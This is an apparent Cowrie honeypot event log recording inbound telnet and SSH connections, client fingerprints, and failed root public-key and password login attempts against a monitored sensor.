{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56486,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad1a07ec28e0","protocol":"telnet","message":"New connection: 128.199.8.54:56486 (159.203.135.109:23) [session: ad1a07ec28e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:42.001719Z"}
{"eventid":"cowrie.session.closed","duration":120.00149416923523,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:42.474335Z","src_ip":"190.89.44.90","session":"b26d1fda3611","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.89.44.90","src_port":46479,"dst_ip":"159.203.135.109","dst_port":23,"session":"afe255b7257b","protocol":"telnet","message":"New connection: 190.89.44.90:46479 (159.203.135.109:23) [session: afe255b7257b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:42.689407Z"}
{"eventid":"cowrie.session.closed","duration":31.076361894607544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:49.413242Z","src_ip":"69.6.249.0","session":"2763acd32596","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47000,"dst_ip":"159.203.135.109","dst_port":23,"session":"31f2ad3768a6","protocol":"telnet","message":"New connection: 128.199.8.54:47000 (159.203.135.109:23) [session: 31f2ad3768a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:51.489730Z"}
{"eventid":"cowrie.session.closed","duration":33.82474207878113,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:54.013999Z","src_ip":"128.199.8.54","session":"43b278b84890","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.29843330383301,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:55.322791Z","src_ip":"128.199.8.54","session":"71d480fd0300","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56398,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e7cbc68cf11","protocol":"telnet","message":"New connection: 128.199.8.54:56398 (159.203.135.109:23) [session: 7e7cbc68cf11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:57.134724Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56014,"dst_ip":"159.203.135.109","dst_port":23,"session":"a66aaed9223a","protocol":"telnet","message":"New connection: 128.199.8.54:56014 (159.203.135.109:23) [session: a66aaed9223a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:57.886444Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35186,"dst_ip":"159.203.135.109","dst_port":23,"session":"74cb49f36d38","protocol":"telnet","message":"New connection: 128.199.8.54:35186 (159.203.135.109:23) [session: 74cb49f36d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:59.566422Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.110.221.82","src_port":42512,"dst_ip":"10.17.0.5","dst_port":22,"session":"36d71acf2e28","protocol":"ssh","message":"New connection: 172.110.221.82:42512 (10.17.0.5:22) [session: 36d71acf2e28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:59.599136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:59.606437Z","src_ip":"172.110.221.82","session":"36d71acf2e28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:59.719808Z","src_ip":"172.110.221.82","session":"36d71acf2e28","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:40:c6:5f:f7:81:70:ee:10:ed:29:bd:50:e9:15:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsSyifXUmxyS43IazwG217wO2D2Io5VzhQo7QdmxsCpF0ab7nHkuA1U+NTByliODFffuIxhP8ZPFLkBF1NkGM7PEmaWiXdizuTvq2wIqxXc7GYA/dfbJP7ugV8Q6oK8EwuVHApywQH8Cnb+RoTeZ7LVhVaSXejokV+j97iCPSIYJYFbhIf1+AMzXvCgGy+hP4tU1RzP1rNJHRo3E3Jm/hlhWTu4TMf+sYm+vGU0HalAa8IS+pO3NGVgrgoa2RhKcIgudGu/2odhnJZSm/0Cdow5t3ljBwAV4y/r2uJn709kkZIdyZ8IZ6FTnGnVdtiQFSsSX/HoyeUgkf+R80hdxRx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:40:c6:5f:f7:81:70:ee:10:ed:29:bd:50:e9:15:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:00.249576Z","src_ip":"172.110.221.82","session":"36d71acf2e28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:40:c6:5f:f7:81:70:ee:10:ed:29:bd:50:e9:15:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsSyifXUmxyS43IazwG217wO2D2Io5VzhQo7QdmxsCpF0ab7nHkuA1U+NTByliODFffuIxhP8ZPFLkBF1NkGM7PEmaWiXdizuTvq2wIqxXc7GYA/dfbJP7ugV8Q6oK8EwuVHApywQH8Cnb+RoTeZ7LVhVaSXejokV+j97iCPSIYJYFbhIf1+AMzXvCgGy+hP4tU1RzP1rNJHRo3E3Jm/hlhWTu4TMf+sYm+vGU0HalAa8IS+pO3NGVgrgoa2RhKcIgudGu/2odhnJZSm/0Cdow5t3ljBwAV4y/r2uJn709kkZIdyZ8IZ6FTnGnVdtiQFSsSX/HoyeUgkf+R80hdxRx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:00.253709Z","src_ip":"172.110.221.82","session":"36d71acf2e28","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:22:50:88:15:a8:99:04:3d:f9:76:57:a4:31:e7:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDFCEukSw3EZVEyUiyoeI6HG2q8SF2HqlKxdr95qfzGSxr9jG54/liwEa7d1tFrlvnoq1Oe0uQ4ApDw83uHdCmaaSpLl1NuD4qLhcKEmS/k16t81r3jJl/zm4Ko4/T0gBbeOfgw9uo44hlEHBkF5uUDsvNfXWY/bNLJ5VG7i5WN/I+Om+pI9EZhhs2EKoQ11LDGEcZ7/gtGaILreVBdaSsOgxDdqH4uk7my62K36IPjdD2rZeeRRx+zlA7z7SqQ+6W4fpyAbtrbPxldcfy1nbtS/RtzX2cpRfKUScxM6gzFxa+C2+uU/obbPTGYAhO6OmjxXLor+CZid4ZAzHyIQjvqvGYGczJNV3x5CaY3mOLJvjWLoIfJhv1ybfXLc3UycqreEWQ6Lw5M4ud6LLyRTwhP01WG6DZmH4VnYm9ARRLGGUCRw3z3TG75ziwD5ZmngNjbBdMseg40zBUEATjJaeYB3iTwKOEB5XCGvqycWczKI2cnww/0LJhhSPnzl8CPIH+gE0FwmArP72stGtElWJKY0ushkfXJEHKICr/4LhGwZnggOkUD9cp60yn6Ai5WIHz5sAs67eqPvm/m1ezm804ywzP9A9IGwcWBq0DhbhNlsMvjC6NFbBdZcKcJtkA8D+vQwapCVp+6Xt6MndQHL8x5T44b7OJXhqX29KiLIr19w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:22:50:88:15:a8:99:04:3d:f9:76:57:a4:31:e7:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:00.367681Z","src_ip":"172.110.221.82","session":"36d71acf2e28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:22:50:88:15:a8:99:04:3d:f9:76:57:a4:31:e7:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDFCEukSw3EZVEyUiyoeI6HG2q8SF2HqlKxdr95qfzGSxr9jG54/liwEa7d1tFrlvnoq1Oe0uQ4ApDw83uHdCmaaSpLl1NuD4qLhcKEmS/k16t81r3jJl/zm4Ko4/T0gBbeOfgw9uo44hlEHBkF5uUDsvNfXWY/bNLJ5VG7i5WN/I+Om+pI9EZhhs2EKoQ11LDGEcZ7/gtGaILreVBdaSsOgxDdqH4uk7my62K36IPjdD2rZeeRRx+zlA7z7SqQ+6W4fpyAbtrbPxldcfy1nbtS/RtzX2cpRfKUScxM6gzFxa+C2+uU/obbPTGYAhO6OmjxXLor+CZid4ZAzHyIQjvqvGYGczJNV3x5CaY3mOLJvjWLoIfJhv1ybfXLc3UycqreEWQ6Lw5M4ud6LLyRTwhP01WG6DZmH4VnYm9ARRLGGUCRw3z3TG75ziwD5ZmngNjbBdMseg40zBUEATjJaeYB3iTwKOEB5XCGvqycWczKI2cnww/0LJhhSPnzl8CPIH+gE0FwmArP72stGtElWJKY0ushkfXJEHKICr/4LhGwZnggOkUD9cp60yn6Ai5WIHz5sAs67eqPvm/m1ezm804ywzP9A9IGwcWBq0DhbhNlsMvjC6NFbBdZcKcJtkA8D+vQwapCVp+6Xt6MndQHL8x5T44b7OJXhqX29KiLIr19w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:00.372558Z","src_ip":"172.110.221.82","session":"36d71acf2e28","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:ff:83:52:f3:a1:62:7d:fb:62:68:d5:ce:81:ae:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHaU1eKVLahZKRsAMND98/aoydhntn107OF4j0K8BuvZ2ADE0/qPxBLJaExyvXTt9IHt/xlH3LnC0JY3Vr3nxg2CTAYzTnirzH7rFBRiHWNQPdTy2zAFICVyMKezdgeCUFJKneRyBRCsKpIX6QV3J8ntZ/kQeqTaVnIKPizcLr+mLbgu3sVszX6Cc+EvQFhCPY2hAImU8UhksnE9HUSrddZoZM1i7IBByJJ7lH6wkbKRlMCzTQP+vBeK6QbW/JDifpzWjz8AAhStxn7PVLfH+89DwZF1tfxVDrCP5zGERKMWItpMZbFnGkcMzKbZjdtXnYEqxC5aDRpYfCS+Z1yHwL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:ff:83:52:f3:a1:62:7d:fb:62:68:d5:ce:81:ae:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:00.486282Z","src_ip":"172.110.221.82","session":"36d71acf2e28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:ff:83:52:f3:a1:62:7d:fb:62:68:d5:ce:81:ae:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHaU1eKVLahZKRsAMND98/aoydhntn107OF4j0K8BuvZ2ADE0/qPxBLJaExyvXTt9IHt/xlH3LnC0JY3Vr3nxg2CTAYzTnirzH7rFBRiHWNQPdTy2zAFICVyMKezdgeCUFJKneRyBRCsKpIX6QV3J8ntZ/kQeqTaVnIKPizcLr+mLbgu3sVszX6Cc+EvQFhCPY2hAImU8UhksnE9HUSrddZoZM1i7IBByJJ7lH6wkbKRlMCzTQP+vBeK6QbW/JDifpzWjz8AAhStxn7PVLfH+89DwZF1tfxVDrCP5zGERKMWItpMZbFnGkcMzKbZjdtXnYEqxC5aDRpYfCS+Z1yHwL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:00.490375Z","src_ip":"172.110.221.82","session":"36d71acf2e28","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:1e:c2:a3:22:f5:c2:02:c6:ea:c8:85:a4:53:31:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7Sr9C0ictPQvKtv2o10ihUZHb2/MUIQ3B8OqxFoMqSWFOmVtVZw0BV0A+vVCoy105SKOfDF0ss2RJ0RaC3MbOB+IF4K5p23stHRbpuI4jwfoa2FVbxL7jhNgX+5oRQaWl7kkp1ac/f9ttcxcb2fO/8HVg1dkkU9tYUakuWLZi4LYCMllvgVr8Q23w0jmyKy7HmjAhwTgKzf9Ebi+47Im2g1SnoXhjjs5V5WA8EGbtoViNoO9BcjaRHCMM86AWBFt4kSZ31xCaN8NBjJJ3CGsZqgbANHJPS47r0N/s2FAbTgJQvvuw7c7vA0+bYKZ/sV6JRZdx/zLAaMQ5dO378QNCD8lnccejoqr3eH7MU9YTQiQCokzKRegUwxE16pThb6nDLw5jfVY0cFc/k2Au6xVdb730JsuTwUg9iyOE8KbWGQzuXxn0hKhLae95eyLWGnyRh8axOZuiMoZPLVMfGKT8t1QIf1PjLIyuGx7pCT3vGVTnshnJY0FSqyntvWptQms=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:1e:c2:a3:22:f5:c2:02:c6:ea:c8:85:a4:53:31:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:00.600954Z","src_ip":"172.110.221.82","session":"36d71acf2e28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:1e:c2:a3:22:f5:c2:02:c6:ea:c8:85:a4:53:31:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7Sr9C0ictPQvKtv2o10ihUZHb2/MUIQ3B8OqxFoMqSWFOmVtVZw0BV0A+vVCoy105SKOfDF0ss2RJ0RaC3MbOB+IF4K5p23stHRbpuI4jwfoa2FVbxL7jhNgX+5oRQaWl7kkp1ac/f9ttcxcb2fO/8HVg1dkkU9tYUakuWLZi4LYCMllvgVr8Q23w0jmyKy7HmjAhwTgKzf9Ebi+47Im2g1SnoXhjjs5V5WA8EGbtoViNoO9BcjaRHCMM86AWBFt4kSZ31xCaN8NBjJJ3CGsZqgbANHJPS47r0N/s2FAbTgJQvvuw7c7vA0+bYKZ/sV6JRZdx/zLAaMQ5dO378QNCD8lnccejoqr3eH7MU9YTQiQCokzKRegUwxE16pThb6nDLw5jfVY0cFc/k2Au6xVdb730JsuTwUg9iyOE8KbWGQzuXxn0hKhLae95eyLWGnyRh8axOZuiMoZPLVMfGKT8t1QIf1PjLIyuGx7pCT3vGVTnshnJY0FSqyntvWptQms=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:00.607659Z","src_ip":"172.110.221.82","session":"36d71acf2e28","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:2d:b6:b9:11:7e:da:89:5d:6f:17:2d:6b:06:fe:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCigZ/8qjMLcekeRd0Tr4DQIlE8ZUd/CleoJmFJMDlseqyjhOpIn87ULBhVRSERXdQSqNIx1L+JjBh7+cJ6hl1TtwwWj0qFRwcnvt670h7bLYqAuD8kwhu95zHKPbe1KI26dmtAhXnE9vpEOP9S9G5IV3VkrfbV7ciluirDKnhhgqktx9onpcW/r6GgpshWLTB44I4QF3G8CGc4aDSuvCslUp4v9RJpqVkekY1T92AsSoPuI9ltQE2XdYnBe0ti6OFldk3b3w8bijSsZeZzTYe44RF0suYWafZCyG/CPn+liJfeOngAWh2VSWZwpnSSNAcCWe7Z5ieYg0vvMwMmmTQ7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:2d:b6:b9:11:7e:da:89:5d:6f:17:2d:6b:06:fe:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:00.720736Z","src_ip":"172.110.221.82","session":"36d71acf2e28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:2d:b6:b9:11:7e:da:89:5d:6f:17:2d:6b:06:fe:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCigZ/8qjMLcekeRd0Tr4DQIlE8ZUd/CleoJmFJMDlseqyjhOpIn87ULBhVRSERXdQSqNIx1L+JjBh7+cJ6hl1TtwwWj0qFRwcnvt670h7bLYqAuD8kwhu95zHKPbe1KI26dmtAhXnE9vpEOP9S9G5IV3VkrfbV7ciluirDKnhhgqktx9onpcW/r6GgpshWLTB44I4QF3G8CGc4aDSuvCslUp4v9RJpqVkekY1T92AsSoPuI9ltQE2XdYnBe0ti6OFldk3b3w8bijSsZeZzTYe44RF0suYWafZCyG/CPn+liJfeOngAWh2VSWZwpnSSNAcCWe7Z5ieYg0vvMwMmmTQ7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:00.724608Z","src_ip":"172.110.221.82","session":"36d71acf2e28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:00.835118Z","src_ip":"172.110.221.82","session":"36d71acf2e28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40846,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ab23b0944ff","protocol":"telnet","message":"New connection: 128.199.8.54:40846 (159.203.135.109:23) [session: 7ab23b0944ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:02.437731Z"}
{"eventid":"cowrie.session.closed","duration":33.06183958053589,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:03.126296Z","src_ip":"128.199.8.54","session":"51bc369ae6fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":42846,"dst_ip":"159.203.135.109","dst_port":22,"session":"49637f807ca6","protocol":"ssh","message":"New connection: 78.83.249.54:42846 (159.203.135.109:22) [session: 49637f807ca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:04.570598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:04.576451Z","src_ip":"78.83.249.54","session":"49637f807ca6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:04.693805Z","src_ip":"78.83.249.54","session":"49637f807ca6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin222","message":"login attempt [ubuntu/admin222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:05.185528Z","src_ip":"78.83.249.54","session":"49637f807ca6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:06.306668Z","src_ip":"78.83.249.54","session":"49637f807ca6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56712,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ae6129f18fb","protocol":"telnet","message":"New connection: 128.199.8.54:56712 (159.203.135.109:23) [session: 1ae6129f18fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:10.209481Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57378,"dst_ip":"159.203.135.109","dst_port":23,"session":"65eb6fd3292f","protocol":"telnet","message":"New connection: 128.199.8.54:57378 (159.203.135.109:23) [session: 65eb6fd3292f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:10.540020Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33464,"dst_ip":"159.203.135.109","dst_port":23,"session":"35b72d0c3648","protocol":"telnet","message":"New connection: 128.199.8.54:33464 (159.203.135.109:23) [session: 35b72d0c3648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:13.705196Z"}
{"eventid":"cowrie.session.closed","duration":32.27004027366638,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:14.271644Z","src_ip":"128.199.8.54","session":"ad1a07ec28e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.92.193.123","src_port":60894,"dst_ip":"10.17.0.5","dst_port":23,"session":"4df4d1aef3b5","protocol":"telnet","message":"New connection: 208.92.193.123:60894 (10.17.0.5:23) [session: 4df4d1aef3b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:17.939981Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48808,"dst_ip":"159.203.135.109","dst_port":23,"session":"9beccafd237d","protocol":"telnet","message":"New connection: 128.199.8.54:48808 (159.203.135.109:23) [session: 9beccafd237d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:20.241964Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":51091,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9d1e860f1a8","protocol":"telnet","message":"New connection: 212.55.149.117:51091 (10.17.0.5:23) [session: d9d1e860f1a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:21.437896Z"}
{"eventid":"cowrie.session.closed","duration":33.508570194244385,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:24.998195Z","src_ip":"128.199.8.54","session":"31f2ad3768a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35790,"dst_ip":"159.203.135.109","dst_port":23,"session":"f76ee20e8fe7","protocol":"telnet","message":"New connection: 128.199.8.54:35790 (159.203.135.109:23) [session: f76ee20e8fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:28.602541Z"}
{"eventid":"cowrie.session.closed","duration":31.653037309646606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:23:29.539355Z","src_ip":"128.199.8.54","session":"a66aaed9223a","protocol":"telnet"}
